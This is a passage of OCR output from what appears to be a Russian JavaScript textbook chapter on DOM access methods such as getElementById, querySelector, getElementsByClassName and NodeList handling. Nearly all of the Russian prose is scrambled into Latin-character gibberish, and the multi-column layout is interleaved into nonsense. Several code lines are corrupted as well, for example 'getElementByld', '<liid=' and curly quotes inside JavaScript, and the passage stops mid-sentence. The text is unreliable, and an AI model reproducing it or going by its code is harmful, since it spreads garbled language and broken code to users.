y3/1a 3/1eMeHTa K pyromy,
CBA3aHHOMY C HUM.

parentNode

Boigenset poantenbckunn
y3e/y3na aHHOro 3/1eMEeH-
Ta (COOTBETCTBEHHO, byaeT
BO3BpaLLEH BCEro 0AuH a/e-
MeHT). CM. c. 214.

previousSibling / nextSibling

BoigenseT npeabiaywimm
VAV cCneayowmm anemMenT
B AepeBe DOM, cMmexXHbI
C AaHHbIM. CM. c. 216.

firstChild / lastChild
BoigensieT nepBbi MAu
nocnefHUn JOYEPHUN 31e-

MEHT AAHHOIO 3/1EMeHTa.
Cm. c. 217.



B 3Tol rnaee nHoraa AienatnTcsd NpumMmedaHmns, 4To Te uam nHble metoabl DOM ncnonbsy-
l0oTCS MNLWb B oNpeaeeHHbIX bpaysepax nbo paboTatoT c owmbkamu. Henocnegosa-
TefbHasA noAzepXkka 06bekTHOM MOAENN AOKYMEHTA B Pa3/IMYHbIX MPUTOXEHUAX CTana
OCHOBHOW MPUYMHOM NonynapHocTn 6ubnnoTtekn jQuery.

Tele/IHbI NIEMEHT» N KYy3€/1 2/IEMEHTA» 4acCToO YyIroT-

pebnsaTCa Kak CUHOHUMbI. [IpOrpaMMnNCT TOBOPUT,
4yTo DOM paboTaeT C 3/1eMEHTOM, HO Ha CaAMOM JeJfle
obbekTHasa Moesib paboTaeT C Y3/10M, MpesCcTaB/ifato-
LM 3TOT S/IEMEHT.

STATI 2: PABOTA C 2JIEMEHTAMM

Huxe caenan 0630p NpUMeEHSAEMBbIX Mpu paboTe C 1eMeHTaMn METOA0B Y CBONCTB.

OOCTVYI

K 3HAYEHNAM
ATPNBYTOB N X
OBHOBJIEHVE

i — aTpueyT

TeKkCT BHYTpw itoboro
3/1eMeHTa Haxo4MTCA B
TeKCTOBOM y3/1e. YTobbI
06paTUTLCS K MOKa3aHHOMY
BbiLLIE TEKCTOBOMY Y31y,
npofenanTe cneaytoLulee.

1. Bbigenute anemeHT li.

2. Cnomolbto cBONCTBA
firstChild monyumnTte Tekc-
TOBbIN y3€.

3. Bocnonb3syntechb
eIMHCTBEHHbIM CBOWC-
TBOM TEKCTOBOrO y3/1a
(nodeValue), 4TobbI MO-
NYYnUTb TEKCT OT 3TOTO
a/1eMeHTa.

nodeValue

JlaHHOe CBOMCTBO NO3BO-
nseT obpalaTbCca K TEKCTO-
BOMY Y371y 1 OBHOBNATbL €ro
KOHTeHT. CMm. . 220.

BHYTpU fouepHuX ane-
MEHTOB TEKCTOBOrO y3/a
He COAEepXUTCHA HUKAKOTO
TekcTa.

O HUX Mbl yNOMUWHaNKW Ha c. 192.

PABOTA
C HTML-KOHTEHTOM

CyuiecTByeT 04HO CBOMC-
TBO, NO3BOASAOLLEE 06-
pawaTbCs K JOYEPHUM
3/1eMEeHTaM N TEKCTOBOMY
KOHTEHTY:

innerHTML
Cm. c. 226.

Jlpyroe cBOMCTBO NO3BO-
nseT 06paLlaTbhCa TONbKO K
TEKCTOBOMY KOHTEHTY:

textContent
Cm. c.222.

Hecko/ibko MeToZ0B Mo3-
BO/IAOT CO34aBaTb HOBbIE
y37bl, 406aBAATL Y3/bl K
ZlepeBy 1 yaanaTb ux:

createElement()
createTextNode()
appendChild() / removeChild()

Takue onepaunmn HasbiBaloT-
ca maHunynaunammn c DOM.
Cm. c. 228.

OOCTVYI

K TEKCTOBbIM
Y3JTAM N UX
OBHOBJIEHVE

|
TEeKCT

Huxe npeacTaBieHbl HEKO-
TOpble CBOWCTBA Y METOAbI,
KOTOPbIMU MOXHO MOJ/Ib30-
BaTbCA Npu paboTe c aTpu-
byTamu.

className / id

Mo3BonsaeT nonyyathb v
N3MEHATb 3HAaYeHUsa aTpu-
6yT0B class nid. Cm. c. 238.

hasAttribute()
getAttribute()
setAttribute()
removeAttribute()

MepBbIt MeTOA NpoBepseT,
CyLLleCcTBYeT v aTpubyT.
BTopo# nony4yaeT ero 3Ha-
yeHue. TpeTui obHoBNAET
3T0 3HayeHue. YeTBep-
ThI yaanseT aTpubyT.

Cm. c. 238.

OBBbEKTHAA MOOE/Ib AOKYMEHTA



KOLLIMPOBAHNE
SATMNPOCOB K DOM

MeToabl, Haxoasauwme anemeHTbl B gepese DOM, Ha-
3blBatoTCA 3anpocamu DOM. Ecnm Bam TpebyeTtcs
cAenaTb YTO-TO C 3/IEMEHTOM H6o1ee o4HOro pasa, To
pe3ynbTaT Takoro 3anpoca csegyeT COXpaHATb B nepe-
MEHHOMN.

Korpa cueHapuii Boligensiet Hwuxe Mbl laem KomaHay Kak Tonbko o6HapyxuTca
3/1EMEHT, KOTOPbIN HY>XXHO MHTEpnpeTaTopy NPOCMOT- y3en, npeAcTaBAALWNN
noJsiy4ynTb UM O6HOBUTD, peTb sepeso DOM n Hantun HY>XHbIA 3/1IEMEHT, MOXHO
MHTEPNPETaTop AO0JIKEH 3/1EMEHT, Yell ngeHTudmka- byaeT paboTaTtb C 3TUM
HalTN COOTBETCTBYOLLNI TOp MMeeT 3HaueHue one. Y3/10M, @ TakXe C ero poau-
371eMeHT (UN 31eMEeHTbI) TE€NbCKUM Y3/10M U AoYep-
B aepese DOM. HUMU (NOTOMKaMM).

getElementById('one');

o
NN m
EE .

|
li

@ OBbEKTHAA MOLEJIb AOKYMEHTA



Korga mbl roBOpyM 0 COXpaHeEHUU 3/1IEMEHTOB B Nnepe-
MeHHbIX, HA CAMOM JeJie UMeeTCs B BUAyY, YTo B nepe-
MeHHYo byZeT nepeaaHo NonoXXeHMe 3/IeMeHTa B Aepe-
Be DOM. CBoncTBa 1 MeToAbl Y3212 3/1eMeHTa paboTaloT
C 3TOW NepeMeHHOMN.

Ec/iv BaweMmy cueHapumio
TpebyeTca UCnonb3oBaTb
OAHW 1 T€ XE 3/IEMEHTbI
6onee ogHOro pasa, 7o Ux
MECTOMO/IOKEHNE MOXHO

COXpPaHATb B MEpEMEHHbIX.

Tak 6paysep sKOHOMMUT Bpe-
M$l, MOCKOJIbKY €My He HY X~
HO BHOBb MpOCMaTpuBaTb
aAepeso DOM 1 noBTOpHO
HaxoAuTb y>Xe NCNo/b30-
BaBLUMeCSs 3/1eMeHTbl. Takas
npakTUkKa Ha3blBaeTCs K3-
LUMpOBaHUEM BbIGOPKU.

MporpamMmMuncT MOXeT
CKa3aTb, YTO B MEPEMEH-
HOW XpaHWUTCS CCbl/IKa Ha
06BEKT, PACMONOXEHHbIN
B aepese DOM. Takum 06-
pa3om coxpaHaeTca mec-
TOHaxoX eHue y3na.

var itemOne = getElementById('one');

—

=
=

B nepemeHHoM itemOne coxpaHsaeTca He aneMeHT li, @ cCbifika Ha Mo3nuUuto, rae 3TOoT y3en

pacnosioxeH B gepese DOM. YTobbl NoAyYUTb AOCTYN K TEKCTOBOMY KOHTEHTY AaHHOrO

3/1IEMEHTAa, MOXXHO BOCMO/1Ib30BaTbCA MMEHEM nepeMeHHon: itemOne.textContent

OBBbEKTHAA MOLOEJIb AOKYMEHTA



HNOCTYI K 2JIEMEHTAM

3anpoc K DOM MoXeT BEpHYTb OAUH 31eMeHT 1nbo

06bekT Nodelist, npeacTaBnatoLmn cobom KkonnekLmnto

y3/10B.

WNHorpa TpebyeTcs 06paTUThCA BCETO K O4-
HOMY KOHKPeTHOMY 371eMeHTY (To eCcTb K CO-
XpaHeHHOMY B HeM bparMeHTy CTpaHuubl).
B Apyrux cnyyasax HeobxoAMMO BbiAENTb
rpynny afemMeHTOB — Hanpumep, BCe 3aro-
NI0BKW h1 Ha cTpaHuLe nav Bce anemeHThl li
B onpegesieHHOM CrucKe.

h1 h2

FPYMMbl Y3J10B 2JIEMEHTOB

Ecnn meToa moxeT BepHYTb Honee ogHOro
y31a, TO OH BCerga Bo3BpallaeT 3/1IeMeHT
Nodelist, npeacTaBnsaoumnin cobon kos1ek-
yuo y3nos (NyCTb Jaxe B 3TOM KOAIEKLUN
O6yaeT BCErO OAWMH 3/1EMEHT, COBNaaatoLwmi

C 3anNpocom). Bam Hy>HO BbibpaTb U3 cnvcka
MHTEPECYIOLWMIA BaC 3N1€MEHT No nHaekcy (Hy-
Mepauus HaumHaeTca ¢ O, Kak B Maccuae).
Hanpumep, HeCKOJIbKO 3/1EMEHTOB MOTYT 06-
NlapaTth OAMHAKOBbLIM UMEHEM Tera, NosTomy
meTog getElementsByTagName() Bcerga 6yaeT
BO3BpalaTb 06bekT Nodelist.

OBbEKTHAA MOAEJIb AOKYMEHTA

3pecb B gepese DOM Mbl BUAUM TeNo cTpa-
HULbI U3 NpMMepa co cnnckom. Cetyac Hac
NHTepecyeT MMEHHO AOCTYM K 3/1IeMeHTaM,
No3TOMY Ha JaHHOW cXeme 0TobpakeHbl
TOJIbKO Y3/1bl 3/1eMeHTOB. CXxeMbl Ha cneayto-
LMX CTpaHuLax noAckasbiBatoT, Kakue ane-
MeHTbl ByayT Bo3BpaLleHbl B DOM-3anpoce.
Kak Bbl MOMHUWTE, y3/1b/ — 3TO NpefCcTaBieHuns
anemeHTOB B Aepese DOM.

ul script

KPATYANLLNW MAPLLPYT

Ec/nn Bbl BO3bMETE 3@ NPaBWI0 HAX0AUTb
KpaTyanwmm NyTb AN AOCTYNa K 3N1EMEHTY
Ha Ballen CTpaHuLe, TO BECb CalT ByaeT Ka-
3aTbCcsa 6onee ObICTPbIM M pabOTOCNOCOOHbIM.
Kak npaBuno, ansd storo TpebyeTca oueHnTb
MUWHMMabHOE KOJIMYECTBO Y3/10B Ha Ny TH

K TOMY 3/IEMEHTY, C KOTOPbIM Bbl COBMpaeTech
paboTaTtb. Hanpumep, meto getElementByld()
ObICTPO BEPHET 3/IEMEHT, MOCKO/IbKY Ha CTpa-
HULaX COAEPXKUT MaKCUMYM OAMH 31eMEHT

C KOHKpEeTHbIM 3HaYyeHnem aTpubyTa id. Mpas-
Aa, 3TMM MeToA40M MOXHO BOCMOJ/1Ib30BaTbCA
NINWb B C/lyYae, eC/IN Y UHTEPECYIOLLEro Bac
3/1eMeHTa ecTb aTpubyTid.



METOObl, BO3BPALUAKLLME BCEMO OAVNH Y3EJ1 2JIEMEHTA

getElementById (“ugentugurarop’)

BblensieT KOHKPETHbBIN 3/IeMeHT Mo 3Ha4YeHuto ero aTpmnbyTa id.

Y nckomoro HTML-KOHTEHTa A01KeH 6bITb TaKon nageHTUdMKaTOp.
Moaaep>xka 6paysepamu: Internet Explorer 5.5 nnu Boiwe, Opera 7
nnu Bbilwe, Bce Bepcun Chrome, Firefox, Safari.

querySelector (‘css-cenektop’)

Mcnonb3yeT cuHTakcuc CSS-cenekTopoB, MO3BONAKOLWMNI BbIAENTD
OAWH NN 6onee 31eMeHTOB. ITOT MeTo/ BO3BpaLLaeT TONbKO nep-
Bbll U3 pe3y/IbTaTOB, COOTBETCTBYIOLLMX 3aMpocCy.

Moagnepxka bpaysepamu: Internet Explorer 8, Firefox 3.5, Safari 4,
Chrome 4, Opera 10 unau BbiLue.

[
getElementById(‘one')

L]
querySelector('li.hot')

METOObI, BO3BPALLAKLWWME OONH NN BOJIEE 2JTIEMEHTOB

(B BNWOE OBBEKTOB NODELIST)

getElementsByClassName (“knacc’)

BbigenseT oAnH uan 6osiee 3/1eMEeHTOB MO 3HAYEHUIO UX aTpmbyTa
class. ckombln HTML-KOHTEHT AoXeH nmeTb aTpmbyT class. 3ToT

meTog paboTaeT 6bicTpee, yem querySelectorAll().

Moapaepixka 6paysepamu: Internet Explorer 9, Firefox 3, Safari 4,
Chrome 4, Opera 10 unu Boiwe (B 60/1€€ paHHUX BEPCUAX HEKO-
Topbix 6pay3epoB 3TOT aTpUbY T NOAAEPXKMUBAETCA YAaCTUYHO UK
cownbkamm).

getElementsByTagName (“umsa rera’)

Boigenset Ha CTpaHuLe BCE 2N1EMEHTDI, o6nana}ou4|/|e yKa-
3aHHbIM UMEHeM Tera. 9ToT meToa pa60TaeT 6bICTpee, yem

querySelectorAll().

Moaaepikka 6paysepamu: Internet Explorer 6, Firefox 3, Safari 4,
Chrome 4, Opera 10 unu Boiwwe (8 6051e€ paHHUX BEPCUAX HEKO-
TopbIx 6pay3epoB 3TOT aTpubyT NOAAEPKMBAETCA YACTUYHO MK
cowmnbkamm).

querySelectorAll("'wma rera’)

Mcnonb3yeT cuHTakcuc CSS-cenekTopos, BbigensieT OANH UK
6o/ee 3/1eMEHTOB 1 BO3BpaLLlaeT BCE 3/IEMEHTbI, COBMaatoLine

C 3anpocom.

Moaaepxka 6paysepamu: Internet Explorer 8, Firefox 3.5, Safari 4,
Chrome 4, Opera 10 nnu BbliLLe.

X N |
getElementsByClassName('hot')

X X B |
getElementsByTagName('li")

D D
querySelectorAll('li.hot")

OBbEKTHAA MOAEJ/Ib AOKYMEHTA



METO/Lbl, BbIAEJTAOLLWNE
EAVHWYHBIE 2JIEMEHTbI

JBa meTtoza — getElementById() 1 querySelector() — MOryT Bbl-
NOJIHATb MOWCK MO LesiIoMy AOKYMEHTY M BO3BpaLLaTb OTAe-
JIbHble 31eMeHTbl. Oba NCMOIb3YIOT CXOXUM CUHTAKCUC.

MeTog getElementByld() - Hanbosee GbiCT-
pbii U 3pPeKTMBHbIN cnocob obpalleHns
K 3/1IEMEHTY, TakK Kak HUKaKu1e ABa 3/IEMeH-
Ta He MOTYT MMEeTb O4MHAKOBOE 3Haye-
HWe naeHTudurkaTopa. CUHTaKCUC 3TOro
3/IEMEHTa NMokKasaH HUXe, a MPUMEp ero
MNCMOIb30BaHMS MPUBEAEH Ha C/ieaytoLLem
CcTpaHuLe.

CnoBo "document"” oTHOCKTCS K OOBEKTY
document. K oTAe/bHbIM 3/1eMeHTaM Bcer-

Aa TpebyeTca obpalaTbca Yyepes 06bekT
document.

OBBbEKT
|

MeTog querySelector() nosiBuics B 06bek-
THOW MOAeNV JOKYMEHTA NMo3e, M03TOMY
He NoAJep>XMBaeTCst B CPAaBHUTENbHO CTa-
pbix 6pay3epax. Ho oH o4yeHb rMbHoK, Tak Kak
ero napameTpom siengetca CSS-cenekTop.
TakMm 06pasom, 3TOT METOZ MOXKET UC-
nonb30BaTbCA A5 BblAENEHUS MHOXECTBA
3/1EMEHTOB.

MeTtog getElementById() yka-
3bIBaET, YTO Bbl XOTUTE HANUTH
3/1IEMEHT MO 3HAYEHMIO ero
naeHTudbunkatopa (atpmby-
Taid).

METOA
]

document.getElementByld('one')

OMEPALUSA OOCTYNA

To4yeyHasa HOTauuMs yKasbl-

BaeT, uTo meTtoz (cnpasa oT
TOYKWN) MPUMEHSETCH K Y31y

(06bekT document cnieBa oT
TOYKM).

KoZ BepHEeT y3€e/1 TOro 3/IeMeHTa, Yen UAEHTU-
$urKaTOp MMeeT 3HAUYEHME one. 3a4aCTYIO y3en
3/IeMEHTa XpaHUTCA B NePEMEHHON, 419 TOTO
4TO6bI CLLEHAPUI MOT MNO3>Ke BOCMO/Ib30BaTHCA
3TUM 3HayeHnem (kak 6bia10 NokasaHo Ha c. 196).

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

I_'_I

NAPAMETP

STomy meToay TpebyeTcsa
3HauyeHue ngeHtTudukatopa
MHTEpPECYOLLEro Bac 3/1EMEH-
Ta. B ckobkax — napameTp
meToaa.

34ecb HaX0ANTCS METOA, UCMONb3YIOLUNCS
c 06bekTOM document 1 ULLY LU €r0 NO BCEN
cTpaHuue. Metoabl DOM Tak>e MOryT UCNOJ1b-
30BaTbCA C y3/1aMW 3/1EMEHTOB B paMKax cTpa-
HULbI 419 NOUCKA NOTOMKOB KOHKPETHOro y3/a.



JAVASCRIPT

BblBOP 2JIEMEHTOB
COIMNACHO
MOEHTNOUNKATOPAM

c05/get-element-by-id.html

<h1id="header">Koponb Bkyca</h1>
<h2>MpogosonbcTsenHan naskas</h2>
<ul>
<li id="one" class="hot"><em>cBexuii</em>
UHKUp</Li>
<liid="two" class="hot">keppoBble opewku</Li>
<liid="three" class="hot">nyenuHblii meg</li>
<li id="four">6anb3amuueckuit ykcycs/li>
</ul>

c05/js/get-element-by-id.js

// Bblgensiem anemMeHT 1 COXpaHseM ero B nepeMeHHoA.
var el = document.getElementById(‘one');

// W3meHsem 3HaveHue atpubyra class.
el.className = "cool’;

PE3YJIbTAT

CBEXHI UHXKUP

KEAPOBLIE OPEIIKA

NUesuHbIA Me[,

0anb3aMUUECKUIA YKCYC

B okHe c pe3ynbTaTamu Mbl yBUAWUM 3TOT NPUMeEp, NocC/e
TOrO Kak CLieHapuin 0BHOBUT MePBbI 3/IEMEHT CrucKa.
VMcxoaHoe cocTosaHme ([0 3anycka cleHapms) nokasaHo
Ha c. 191.

MeTtopa getElementById() mno3so-
NSET BbIAENNTb Y3€1 KOHKPET-
HOrO 3/1IEMEHTA, YKa3aB 3Haye-
HWe ero atpubyTa id.

Y AaHHOro metoZa ecTb 0OANH
napameTp: 3HaYeHue NaeH-
TudukaTopa TOro SN1EMEHTa,
KOTOPbI Bbl XOTUTE BbIAENNTD.
ST0 3HaYeHue 3anncoiBaeTcs

B KaBbl4YKaXx, MOCKOJIbKY SiB/ISi-
eTcs cTpokon. OHM MOryT BbiTb
OAMHOYHBIMU U ABONHbBIMY,
HO OTKpbIBaOLLAsi 1 3aKpblBato-
LLasi KaBblyKa [OJIKHbI BbIT /151~
AeTb 0ANHAKOBO.

B nepBow cTpoke koaa
JavaScript B BbiLLeNpUBeAEH-
HOM MpUMEpPEe Mbl HAXOAUM
3/1EMEHT, Yen aTpubyT id umeeT
3HayeHwue one. Ccblsika Ha 3TOT
y3€e/1 COXPaHSeTCS B NEPEMEH-
Hom el.

3aTeM Koa UCnonb3yeT CBOMC-
TBO className (0 Hem nongeT
peub Ha c. 238) Ansi o6HoB/e-
HWS 3HayeHnsa aTpmnbyTa class
TOro0 3/1EMEHTa, Ha KOTOPbIN
yKasbIBaeT CCblsika, coxpa-
HeHHasi B 3TOM NepeMeHHOW.
3HaveHune aTpunbyTa class paBHO
cool. 3gech cpabaTbiBaeT HoBoE
npasuno CSS, yctaHaBmBato-
wee Ans doHa CTpaHuubl LBeT
MOPCKOW BOJIHbI.

ObpaTuTe BHUMaHME, Kak

cBowcTBO className ncrnonbsy-
eTCsl C NepeMEeHHOM, B KOTOPOM
XPaHWUTCA CCbINIKA Ha 3/1EMEHT.

Mopaepsxkka 6paysepamum:
3TOT METOA — OAUH M3 CambixX
CTapblX, MOTOMY 13 BCEX METO-
[10B, MPUMEHSIEMBIX AJA AOCTY-
na K 3/IeMeHTam, OH NoAAEPXn-
BaeTCcsa Hambosnee LMPOKO.

OBBbEKTHAA MOOEJIb AOKYMEHTA



OB bEKTbI NODELIST:
SATMNPOCHI K DOM,
BO3BPALLUAKLNE BOJIEE
OAHOIO 3JIEMEHTA

B cnyuasx, korga metogq DOM moxeT BepHyTb bosee oZHO-
ro a/leMeHTa, oH Bo3BpallaeT obbekT Nodelist (gaxe ecan
HaXoAWT BCEro OAMH 3/IEMEHT, COOTBETCTBYIOLL NI 3anNpocy).

Nodelist — 3To KoNNeKUNs y3/10B 3/1EMEHTOB.
KaxAbln 13 HUX nonyyaeT uHgekc (Hymepauuns
3/leCb HaYMHaeTCs C HYyNs, TOYHO Tak Xe, Kak

B Maccuee).

MopsiaoK, B KOTOPOM 3/1EMEHTbI COXPaHSOTCS
B Nodelist, naeHTMYeH NOpsaAKY, B KOTOPOM
OHW noaBAsAoTCAa Ha HTML-cTpaHuue.

Koraa sanpoc DOM Bo3epauwyaeT Nodelist, Bbl
MoXeTe NonpoboBaTh:

* BblAENNTb OANH 31eMeHT 13 Nodelist;

* nepebpaTb NPy NOMOLLN LKA BCE DJIEMEHTbI
B NodeList u npyMeHUTb K Kaxk40My 13 y3/108B
3/1EMEHTOB OANHAKOBbIN Habop KOMaHA.

ONHAMNYECKWE
N CTATUHECKUME
KOJIJTEKUMW NODELIST

B HekoTOpbIX CNyYasx 6biBaeT HEOOXOANMO
HeCKo/1bko pa3 obpabaTbiBaTb O4HY U Ty Xe Bbl-
60pKy an1emeHTOB. 415 3T0ro 06bekT Nodelist
MO>XHO COXPaHWTb B MEpeMEHHON 1 NMOBTOPHO
ncnosb3oBaTth (a He cobMpaTb MO HECKOIbKY
pas O4HW 1 Te Xe 3/1eMEHTbI).

Koraa Ball cLeHapuin 06HOBASET CTpaHu-

uy npw pabote c guHamuyeckum Nodelist,
obHoBNAeTCH 1 cama konnekuma Nodelist.
MeToAbl, Ha3BaHNA KOTOPbIX HaYNMHAIOTCSH

c getElementsBy.., BO3BpaLlaloT AUHaMMYeCcKme
061bekTbl Nodelist. Kak npaBuio, oHW reHepu-
pytoTcs bbicTpee, yem cTaTudeckne Nodelist.

OBbEKTHAA MOAEJIb AOKYMEHTA

O6bekTbl Nodelist moxoxu Ha MaccuBbl U Hy-
MEPYHTCS Kak Maccusbl, HO GakTUYeCKkn 3TO
06bEKTbI APYroro TMna — Ko1K,

Kak y ntoboro o6bvekTa, y Nodelist ecTb cBOWMC-

TBa W MeTo/bl, CpeAM KOTOPbIX CieayeT oTMme-

TUTb cneayoLme.

« CBoncTBO length — coobLaeT, CKObKO 31e-
meHTOoB cogepxuTcs B NodelList.

* MeTog item() — Bo3BpaljaeT 13 KoaNeEKLNMU
Nodelist KOHKpeTHbIN y3e, Korga Bbl CO06-
LlaeTe 3TOMY METOAY UHAEKC NHTEepecyto-
wero Bac anemeHTa (B Kpyribix ckobkax).
MpaBaa, B Takmx ciyyaax bonee pacnpo-
CTpaHeH CUHTakcuKc no obpasuy MmaccmeoB
(c KBagpaTHbIMW CKOBKaMM), MO3BONSIOLLMIA
n3eneyb anemeHT n3 Nodelist (kak nokasaHo
Ha c.205).

Korga Baw cueHapuit 06HOBASET CTpaHuLy
npu paboTe co ctatudeckum Nodelist,
cama Konnekums He 0GHOBNAETCH, U B HEW
He OTPaXxatTCs U3MEHEHUs, BHECEHHble
cueHapuem.

HoBble MeToAbl, Ha3BaHWS KOTOPbIX
HauymHatTCAa C querySelector... (3Tn MeTOAbI
MCNoNb3ylT cuHTakcmc CSS-cenekTopos),
BO3BpalaloT cTaTudeckne obbekTbl Nodelist.
OHM COOTBETCTBYIOT AOKYMEHTY B COCTOSIHUN
Ha MOMEHT BbINO/IHEHMS 3anpoca. Ecaun
cueHapu U3MeHsAeT KOHTEHT CTpaHuLbl,
cTaTuyeckunin Nodelist He obHOBISETCA U He
oTpaxaeT BHECEHHbIX MPaBOK.



Hu>xe nokasaHo YeTbipe pa3/indHbix 3anpoca kK DOM, Bce OHMU
Bo3BpaLlatoT 06bekTbl Nodelist. lna kaxxaoro 3anpoca noka-
3aHbl 3/1EMEHTbI N NX UHAEKChI B Bo3BpaLlaembix Nodelist.

getElementsByTagName('h1")

MycTb 3TOT 3aMpoc 1 BO3Bpa- WHAEKC W SNIEMEHT

LLlaeT BCEero oAuH 3/IeMeHT, OH 0 <h1>
BCe paBHO AaeT Ham Nodelist,

TaK Kak MoTeHLMaIbHO OH

MOXET BEPHYTb N HECKOJIbKO

TaKOBbIX.

getElementsByTagName('li')

3TOoT MeTo/A BO3BpaLlaeT VHAEKC W SNEMEHT

yeTbipe aneMeHTa, no ogHomy 0 <liid="one" class="hot">

ans kaxgoro li, cogepxatue- 1 <liid="two" class="hot">

rocsl Ha cTpaHuLe. DNeMeHTbl 2 <li id="three" class="hot">

BbIBOAATCS B TOM Xe NopsiaKe,
B KAKOM OHW pacnoJioXeHbl Ha
HTML-cTpaHuue.

3 <liid="four">

getElementsByClassName('hot')

Takas konnekums NodelList WHOEKC W SNEMEHT
CoAepXUT BCero Tpu u3 yetbl- 0 <liid="one" class="hot">
pex aniemeHTOB li, TOCKObKY 1 <liid="two" class="hot">

Mbl VLLEEM 3/1EMEHTbI MO 3HAYe~ 7 i id-"three" class="hot">
Huio nx aTpubyTa class, a He No
MMeHW Tera.

querySelectorAll('li[id]")

3TOoT MeTo/A BO3BpaLlaeT VHAEKC W SNEMEHT

yeTbipe aneMeHTa: no ogHomy 0 <liid="one" class="hot">

ans kaxagoro li Ha cTpaHuue, 1 <liid="two" class="hot">

MMetoLLEero nAeHTUKaTop 2 <liid="three" class="hot">

(He3aBMCUMO OT KOHKPETHbIX
3HaYeHU aTpmnbyToB id y 3TMX
3/1IEMEHTOB)

3 <liid="four">

OBBbEKTHAA MOOE/Ib AOKYMEHTA



BblBEOP 2JIEMEHTA N3
KOJIJTEKUNMIN NODELIST

BbibpaTb aiemeHT 13 konnekuum Nodelist MmoxxHo gBymsa cnocoba-
MW: Npy NoMoLLM MmeToAa item() M NocpeACTBOM CMHTaKCMCa Maccu-
BOB. B 06oux cnyyasax TpebyeTtca ykasaTb UHAEKCHbIA HOMEpP UCXoz4-

HOro aJiIeMeEHTaA.

item() METOO

Y konnekuunit Nodelist ecTb
meTog item(), BO3BpaLyato-
LN KOHKPETHbIN y3en n3
NodelList.

Bam Hy>KHO yKasaTb UH-
[EKCHBbI HOMEP NCKOMOT O
3/leMeHTa B KayecTBe napa-
meTpa meToaa (B Kpyr/bix
ckobkax).

BbinonHATL KOA Npun oTCyTC-
TBUMU KaKUX-TM60 anemeH-
TOB — 3TO nycTas TpaTa
pecypcoB. [loTomy npo-
rpaMmmMuncTbl 06bIYHO Mpo-
BepsAT, ecTb in B NodeList
XOTS 6bl O4UH 3NEMEHT,

M Wb NOTOM 3anyckatoT
KoA. AN 3Ton uenm uc-
nonb3yeTtcsa cBONCTBO length
o6bekTa Nodelist — oHO
coobLaeT, ckobKo 3/1e-
MEHTOB B HEM COAEPXUTCS.

Kak BuanTe, 34ecb ncnonb3sy-
eTca uHcTpykuus if. OHa npo-
BepseT, ABASAETCS 1M CBONC-
TBO length o6bekTa NodelList
6onbLie Hyna. Ecnv aTo Tak,
TO BbINOJIHSAIOTCS KOMaHAbI,
HaxoAALNecs B UHCTPYKL UK
if. BnpoTuBHOM cny4ae cueHa-
pui nepexoaunT K Koay nocne
3akpbiBatoLen purypHomn
CKObKM.

var elements = document.getElementsByClassName('hot')
if (elements.length >= 1) {
var firstItem = elements.item(0);

}

]

Bbiaensiem anemeHTbI C aT-
pubyToMm class, UMeOLLUM
3HayeHue hot, U coxpaHaem
Nodelist B nepemeHHoMn
elements.

2

Mpun nomoLyn ceoncTBa
length npoBepsiem, ckosibko
3/1leMeHTOB HanaeHo. Ecan
yAanocb HaNnTU OANH NN
6osee 31eMeHTOB, TO 3a-
nyckaem Koz, HaxoAsLnm-
Csl B UHCTpyKuwuwm if.

@ OBbEKTHAA MOLEJ/Ib AOKYMEHTA

3

CoxpaHsieM nepBbIii
3/1eMEHT M3 KOITeKLnN
NodelList B nepemeHHOM,
HasbiBaemoM firstltem. Ero
3HayeHue — 0, Tak Kak
VHAEeKCHas Hymepauusa

B NodelList HaunHaeTcs

C HynS.



CUHTaKCMC MaccmMBOB NpeanoyYTUTeIbHee paboTbl ¢ MeToAoM item(),
Nocko/ibky paboTa no CMHTaKCUCY MacCMBOB MAET ropasao bbicT-
pee. Mepea TeM Kak BbiaennTb y3en ns Nodelist, ybeautecs, 4to
KOoI/1IekLMsA BooOLL e cogep>XKUT y3bl. ECin Bbl HEO4HOKPATHO UC-
nonb3syeTe o4unH K ToT e NodelList, coxpaHalTe ero B nepeMeHHON.

CUHTAKCNC MACCUBOB

Jnsa gocTyna K oTAeIbHbIM
y3/1aM MOXHO MPUMEHATb
CMHTaKCUC C UCMOb30BaHNEM
KBagpaTHbIx ckobok. Mogob-
HbIM CUHTAKCUC MCNOJb3yeTCA
TakxXe 415 obpalleHuns K ane-
MeHTam MaccuBa.

B kBaZpaTHbIX CKObKaXx,
naywmx 3a Nodelist, Bbl yka-
3blBaeTe MHAEKC MCKOMOrO
3/1eMeHTa.

Kak v npu pa6ote c nto6biMmun
3anpocamu kK DOM, ecnu ecTb
Heo6X0AMMOCTb HEOAHOKpAT-
HOro o6palleHNsa K O4HOMY
Nodelist, coxpaHanTe pe3syb-
TaT 3anpoca B NepeMeHHON.

B npumepax, npuBefeHHbIX Ha
3TON N NpeAblAyLLEen CTpaHU-
ue, 06bvekT NodelList coxpaHs-
eTcsi B nepeMeHHo elements.

Ecnuv Bbl cneymanbHo cosgae-
Te MepeMeHHY, YTobbl Xxpa-
HUTb B Hel 06bekT NodelList
(Kak nokasaHo HUXE), HO He
HaxoAuTe 3/IEMEHTOB, yA0B-
NeTBOPAOLLMX 3anpocy, TO
nepemeHHas byaeT cogep-
»aTb nycton Nodelist. Korga
Bbl MpOBEpUTE CBOMCTBO
length aTo nepemeHHORN,
OHO BepHeT uynco 0, Tak Kak
B NepeMeHHOW HET HW OAHOrO
anemMeHTa.

var elements = document.getElementsByClassName('hot');
if (elements.length >=1) {
var firstItem = elements[0];

}

1

Cosaaem o6bekT Nodelist.

B Hem cozep>kaTcs 3/IEMEHTHI,
MmeloLL e aTpubyT class co
3HayeHnem hot. CoxpaHsem
3TOT 06BEKT B NepeMeHHOMn
elements.

2

Ecnv uncno anemeHToB 60/1b-
e Uaun paBHo 1, 3anyckaem
KOoA, COAep>KaLlMncsa B UHC-
Tpykuuwm if.

3

Mony4yaem nepBbit 3NeMeEHT
13 o6bekTa NodelList (nHaekc-
Has HyMepauus HaumHaeT-
csacO).

OBBbEKTHAA MOLOEJIb AOKYMEHTA



BblBOP 3JIEMEHTOB
COIMNNMACHO KJIACCAM

MeToga Y 3Toro metoAa ecTb OA4UNH [MocKoIbKY HECKOIbKO 3/1e-
getElementsByClassName() napameTp: ums class, 3anucol- MEHTOB MOTYT UMeTb aTpuby-
NMO3BO/ISIET BbIAENSATb 31€MEH- BaeMoe B KaBbl4YKax BHYTpU Tbl class C 04MHAKOBbIMW 3Ha-
Tbl, Yen aTpubyT class UMmeeT KPYr/ibix CKOBOK MOC/ie UMeHM YeHUAMU, 3TOT MeTo/ BCerja
